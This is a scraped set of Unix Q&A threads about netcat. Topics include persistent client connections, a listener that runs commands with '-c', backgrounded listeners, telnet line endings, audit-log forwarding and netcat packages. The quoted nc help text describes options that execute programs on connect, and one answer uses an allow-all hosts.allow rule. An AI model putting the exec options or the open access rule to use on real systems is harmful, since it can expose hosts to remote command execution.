MAP_PRIVATE, 5, 0) = 0x76f45000 close(5) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/arm-linux-gnueabihf/libnss_dns.so.2", O_RDONLY|O_CLOEXEC) = 5 read(5, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0(\0\1\0\0\0\220\n\0\0004\0\0\0"..., 512) = 512 lseek(5, 16892, SEEK_SET) = 16892 read(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 1120) = 1120 lseek(5, 16540, SEEK_SET) = 16540 read(5, "A.\0\0\0aeabi\0\1$\0\0\0\0056\0\6\6\10\1\t\1\n\2\22\4\23\1\24"..., 47) = 47 fstat64(5, {st_mode=S_IFREG|0644, st_size=18012, ...}) = 0 mmap2(NULL, 82080, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 5, 0) = 0x76d83000 mprotect(0x76d87000, 61440, PROT_NONE) = 0 mmap2(0x76d96000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 5, 0x3000) = 0x76d96000 close(5) = 0 mprotect(0x76d96000, 4096, PROT_READ) = 0 munmap(0x76f45000, 104908) = 0 stat64("/etc/resolv.conf", {st_mode=S_IFREG|0644, st_size=48, ...}) = 0 open("/etc/resolv.conf", O_RDONLY|O_CLOEXEC) = 5 fstat64(5, {st_mode=S_IFREG|0644, st_size=48, ...}) = 0 read(5, "# Generated by resolvconf\nnamese"..., 4096) = 48 read(5, "", 4096) = 0 close(5) = 0 uname({sysname="Linux", nodename="rx", ...}) = 0 socket(AF_INET, SOCK_DGRAM|SOCK_NONBLOCK, IPPROTO_IP) = 5 connect(5, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("10.7.208.3")}, 16) = 0 poll([{fd=5, events=POLLOUT}], 1, 0) = 1 ([{fd=5, revents=POLLOUT}]) send(5, ".\242\1\0\0\1\0\0\0\0\0\0\00211\00210\00211\00210\7in-addr"..., 42, MSG_NOSIGNAL) = 42 poll([{fd=5, events=POLLIN}], 1, 5000) = 0 (Timeout) poll([{fd=5, events=POLLOUT}], 1, 0) = 1 ([{fd=5, revents=POLLOUT}]) send(5, ".\242\1\0\0\1\0\0\0\0\0\0\00211\00210\00211\00210\7in-addr"..., 42, MSG_NOSIGNAL) = 42 poll([{fd=5, events=POLLIN}], 1, 5000) = 0 (Timeout) close(5) = 0 write(2, "nc: ", 4) = 4 write(2, "getnameinfo: Temporary failure i"..., 49) = 49 write(2, "\n", 1) = 1 exit_group(1) = ? +++ exited with 1 +++
nc -n -n numeric-only IP addresses, no DNS With this I've solved
netcat nc: getnameinfo: Temporary failure in name resolution
1,373,493,602,000
I'm writing a bash script that constantly read a folder in a loop to send data to a server at a defined time interval. I'm using netcat as the tool to connect to the server and send the data. My pseudo code would look like: while true do read_folder() process_data() > result.txt cat result.txt > netcat ip port wait 10 sec done My only problem is that in the scenario the client connects and disconnects the TCP/IP connection to the server every time. I would prefer to establish the connection at the start of the script and close it at the end. Is there any way this could be done with command line tools in a bash script?
Two separate processes: One that copies result.txt to netcat. Result.txt is fed via another process. echo -n >result.txt tail -f result.txt | nc ip port & while true do read_folder() process_data() > result.txt wait 10 sec done
Howto create a permanent client connection with netcat?
1,373,493,602,000
Actually I want to make something like ifconfig.me functionality but only for my internal network. I see it the way something on server listens some port and send ip of connected remote machine. Seems nc is a great utility for my issue (also I haven't any php/python/whatever on server. just only shell and standard unix tools). I can see remote ip and dns name if I launch nc -vv and connect to it from remote system, but I can't find the way to send them to remote host. Or maybe I chose too strange path and there is another simpler solution?
You could use something like this: while true; do nc -lvp 1337 -c "echo -n 'Your IP is: '; grep connect my.ip | cut -d'[' -f 3 | cut -d']' -f 1" 2> my.ip; done nc will be executed in endless loop listening on port 1337 with verbose option that will write information about remote host to stderr. stderr is redirected to file my.ip. Option -c for nc allows to execute something to "handle" connection. In this case we will next grep for IP addres from my.ip file. pbm@lantea:~$ curl http://tauri:1337 Your IP is: 192.168.0.100
is it possible to send the remote connector ip via netcat?
1,373,493,602,000
When I put this nc -l 12345 >nc_out in a shell script, run it and then connect from other shell using telnet, it allows me to type some text and have it end up in nc_out. But if I start nc in the background (I want to start telnet from the same script later on): nc -l 12345 >nc_out & connection is closed immediately: # telnet localhost 12345 Trying ::1... telnet: connect to address ::1: Connection refused Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. Connection closed by foreign host # leaving the nc_out file empty. Why is that? How can I make nc accept connection normally? Notes: On RHEL and Fedora, both nc and nmap-ncat behave this way, but Debian's nc-traditional does accept the connection and let me save the data to nc_out. It does not matter if I call telnet from the same script or different (SSH) session, the behavior is the same I also ran the command with strace as @Hauke Laging suggested and posted the strace output on Pastebin
Backgrounded commands that are executed in non-interactive shells with job control disabled (as it is the case in shell scripts) get their stdin implicitly redirected from /dev/null. sh -c 'nc -l 12345 1>nc_out & lsof -p $!' From POSIX.1-2008: 2. Shell Command Language [...] Asynchronous Lists If a command is terminated by the control operator ( '&' ), the shell shall execute the command asynchronously in a subshell. This means that the shell shall not wait for the command to finish before executing the next command. The format for running a command in the background is: command1 & [command2 & ... ] The standard input for an asynchronous list, before any explicit redirections are performed, shall be considered to be assigned to a file that has the same properties as /dev/null. If it is an interactive shell, this need not happen. In all cases, explicit redirection of standard input shall override this activity. When the telnet client establishes its connection to localhost and the already running nc command via port 12345, the backgrounded nc command seems to detect EOF on its stdin and starts its shutdown process because it is forced reading from /dev/null. A return value of zero of the read command (man 2 read) indicates end of file. # strace output (from http://pastebin.com/YZHW31ef) 14:32:26 read(0, "", 2048) = 0 14:32:26 shutdown(4, 1 /* send */) = 0 Here are some solutions to keep telnet running and communicating with nc: sh -c 'nc -l 12345 0<&0 1>nc_out &' sh -c 'nc -l 12345 0<&- 1>nc_out &' sh -c 'tail -f /dev/null | nc -l 12345 1>nc_out &' sh -c 'rm -f fifo; mkfifo fifo; exec 3<>fifo; nc -l 12345 0<fifo 1>nc_out &'
nc -l in background closes immediately (nc -l 1234 &)
1,373,493,602,000
I'm wondering if there's any way to get telnet to send only a \n, not a \r\n. For example, if one process is listening on a port like this, to print the bytes of any traffic received: nc -l 1234 | xxd -c 1 Connecting to it from netcat with nc localhost 1234, and typing "hi[enter]": 0000000: 68 h 0000001: 69 i 0000002: 0a . Connecting to it from telnet with telnet localhost 1234, and typing "hi[enter]" 0000000: 68 h 0000001: 69 i 0000002: 0d . 0000003: 0a . Telnet is sending 0x0d0a instead of 0x0a for the newline. I understand that this is a CRLF as opposed to LF. It also sends the CRLF if I use ^M or ^J. I thought I had found a solution that directly addresses this problem, by using toggle crlf, but even with this option set, Telnet is always sending the \r\n. I've also tried this on various telnet clients, so I'm guessing I'm misunderstanding what the toggling is supposed to do. Any way to send just a \n through telnet, with enter or otherwise?
You can negotiate binary mode. Once in this mode you cannot leave it. Negotiation means the telnet client will send a special byte sequence to the server, which you will have to ignore if you are not implementing the protocol. Subsequent data is sent unchanged, in line mode. Client: $ telnet localhost 1234 Connected to localhost. Escape character is '^]'. ^] telnet> set binary Negotiating binary mode with remote host. hi ^] telnet> quit and server $ nc -l 1234 | xxd -c 1 00000000: ff . 00000001: fd . 00000002: 00 . 00000003: ff . 00000004: fb . 00000005: 00 . 00000006: 68 h 00000007: 69 i 00000008: 0a . Your telnet client may have an option to start off in binary mode, or you can put an entry in ~/.telnetrc localhost set binary You can apply the binary mode independently in each direction, so you might prefer set outbinary.
Any way to send just "\n" in Telnet?
1,373,493,602,000
I need to read a large log file and send it over a local network using (netbsd) netcat between two VMs on the same host workstation. I know that netcat has an interval, but as far as I can tell, the smallest interval you can use is 1 line/second. Most of the files I need to send this way have hundreds of thousands of lines, and some close to a million lines, so one line per second isn't feasible. If I just use cat, my host computer/workstation winds up getting bogged down to the point of being unusable. Using bash and common *nix tools, is there a way I can send the files, but feed it to netcat at a rate of say, 5-10 lines/second or something like that? The end goal of this is to allow me to do some proof of concept testing for a centralized log database I am considering.
If you use bash and pipes, and are looking for an easy and dirty solution, you can try using sleep. You can use this which act like cat but with a pause at each line. while read i; do echo "$i"; sleep 0.01; done. Here is an example at a little less than 100 lines per second. $ time (seq 1 100 | while read i; do echo "$i"; sleep 0.01; done) [...] real 0m1.224s user 0m0.012s sys 0m0.052s
How can I read lines at a fixed speed?
1,373,493,602,000
I am trying to configure a CentOS 7 running in VirtualBox to send its audit logs to the host which is FreeBSD 10.3. Ideally, I'd like to receive the logs with FreeBSD's auditdistd(8) but for now I'd just like to be able to use netcat for that. My problem is that netcat doesn't get any data. Details When I run service auditd status I get the following results: Redirecting to /bin/systemctl status auditd.service auditd.service - Security Auditing Service Loaded: loaded (/usr/lib/systemd/system/auditd.service; enabled; vendor preset: enabled) Active: active (running) since Fri 2016-08-19 11:35:42 CEST; 3s ago Process: 2216 ExecStartPost=/sbin/augenrules --load (code=exited, status=1/FAILURE) Main PID: 2215 (auditd) CGroup: /system.slice/auditd.service ├─2215 /sbin/auditd -n └─2218 /sbin/audispd Aug 19 11:35:42 hephaistos audispd[2218]: plugin /sbin/audisp-remote was restarted Aug 19 11:35:42 hephaistos audispd[2218]: plugin /sbin/audisp-remote terminated unexpectedly Aug 19 11:35:42 hephaistos audispd[2218]: plugin /sbin/audisp-remote was restarted Aug 19 11:35:42 hephaistos audispd[2218]: plugin /sbin/audisp-remote terminated unexpectedly Aug 19 11:35:42 hephaistos audispd[2218]: plugin /sbin/audisp-remote was restarted Aug 19 11:35:42 hephaistos audispd[2218]: plugin /sbin/audisp-remote terminated unexpectedly Aug 19 11:35:42 hephaistos audispd[2218]: plugin /sbin/audisp-remote was restarted Aug 19 11:35:42 hephaistos audispd[2218]: plugin /sbin/audisp-remote terminated unexpectedly Aug 19 11:35:42 hephaistos audispd[2218]: plugin /sbin/audisp-remote has exceeded max_restarts Aug 19 11:35:42 hephaistos audispd[2218]: plugin /sbin/audisp-remote was restarted Setup Network Setup CentOS and FreeBSD are connected on a host-only network. I've assigned them the following IP's: CentOS: 192.168.56.101 FreeBSD: 192.168.56.1 FreeBSD Setup I've got netcat listening on port 60: nc -lk 60 The connection works. I can use nc 192.168.56.1 60 on CentOS to send data to FreeBSD. CentOS Setup The kernel version is: 4.7.0-1.el7.elrepo.x86_64 #1 SMP Sun Jul 24 18:15:29 EDT 2016 x86_64 x86_64 x86_64 GNU/Linux. The version of Linux Audit userspace is 2.6.6. auditd is running and actively logging to /var/log/audit.log. The auditing rules in /etc/audit/rules.d/ are well configured. The configuration of /etc/audisp/audisp-remote.conf looks like this: remote-server = 192.168.56.1 port = 60 local_port = any transport = tcp mode = immediate I've got two default files in /etc/audisp/plugins.d/: syslog.conf and af_unix.conf and both of them are not active. I've added af-remote.conf and it looks like this: # This file controls the audispd data path to the # remote event logger. This plugin will send events to # a remote machine (Central Logger). active = yes direction = out path = /sbin/audisp-remote type = always #args = format = string It is a modified example from the official repository (link). Here's the content of /etc/audisp/audispd.conf: q_depth = 150 overflow_action = SYSLOG priority_boost = 4 max_restarts = 10 name_format = HOSTNAME I'll be happy to provide more details if needed.
I am not sure if everything here is needed to succeed. Nevertheless, this is a configuration which works so that I am able to receive Linux Audit logs with a netcat on FreeBSD. CentOS:/etc/audisp/audisp-remote.conf: remote_server = 192.168.56.1 port = 60 local_port = 60 transport = tcp mode = immediate queue_depth = 200 format = managed CentOS:/etc/audisp/plugins.d/au-remote.conf: active = yes direction = out path = /sbin/audisp-remote type = always args = /etc/audisp/audisp-remote.conf format = string CentOS:/etc/audit/auditd.conf: local_events = yes log_file = /var/log/audit/audit.log # Send logs to the server. Don't save them. write_logs = no log_format = RAW log_group = root priority_boost = 8 num_logs = 5 disp_qos = lossy dispatcher = /sbin/audispd name_format = hostname max_log_file = 6 max_log_file_action = ROTATE action_mail_acct = root space_left = 75 space_left_action = SYSLOG admin_space_left = 50 admin_space_left_action = SUSPEND disk_full_action = SUSPEND disk_error_action = SUSPEND ##tcp_listen_port = tcp_listen_queue = 5 tcp_max_per_addr = 1 use_libwrap = yes ##tcp_client_ports = 1024-65535 tcp_client_max_idle = 0 enable_krb5 = no krb5_principal = auditd ##krb5_key_file = /etc/audit/audit.key distribute_network = no FreeBSD:/etc/hosts.allow: ALL : ALL : allow I don't know if this one is needed though + it might be a bad idea. That's it. Now you just have to run nc -lk 60 on FreeBSD and service auditd restart on CentOS. In my case however netcat seems to be receiving/printing every record at least two times which seems rather unusual.
How to send audit logs with audisp-remote and receive them with netcat
1,373,493,602,000
I am having problem with nc command, I cannot use a proxy, because there is no -x option, which should be there. nc -h [v1.10-41] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port] options: -c shell commands as `-e'; use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!] -b allow broadcasts -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -k set keepalive option on socket -l listen mode, for inbound connects -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -q secs quit after EOF on stdin and delay of secs -s addr local source address -T tos set Type Of Service -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -C Send CRLF as line-ending -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: lo-hi [inclusive]; hyphens in port names must be backslash escaped (e.g. 'ftp\-data'). Is my netcat outdated? How do I update it? Thanks for help.
Looks like you have the "traditional" netcat (netcat-traditional) installed. The -x option is available in the OpenBSD netcat (netcat-openbsd). See also: What are the differences between netcat-traditional and netcat-openbsd? on Ask Ubuntu.
netcat missing -x option
1,373,493,602,000
In debian:bullseye oot@4770c7ba00ac:/# apt install -y netcat Reading package lists... Done Building dependency tree... Done Reading state information... Done The following additional packages will be installed: libbsd0 libmd0 netcat-openbsd The following NEW packages will be installed: libbsd0 libmd0 netcat netcat-openbsd In debian:bookworm-slim apt install -y netcat Reading package lists... Done Building dependency tree... Done Reading state information... Done Package netcat is a virtual package provided by: netcat-openbsd 1.219-1 netcat-traditional 1.10-47 You should explicitly select one to install. E: Package 'netcat' has no installation candidate What is the cause of this discrepancy, and how can I preconfigure netcat to point to netcat-openbsd?
In Debian 11, netcat is a transitional package depending on netcat-openbsd. The transitional package was dropped from Debian 12, you now need to explicitly choose which netcat implementation you want. If you want to continue using netcat-openbsd, change your installation to use that: apt-get install -y netcat-openbsd netcat-openbsd (and other netcat implementations) set up alternatives so that nc and netcat work as you’d expect.
Discrepancies in netcat installation process between debian bullseye vs debian bookworm-slim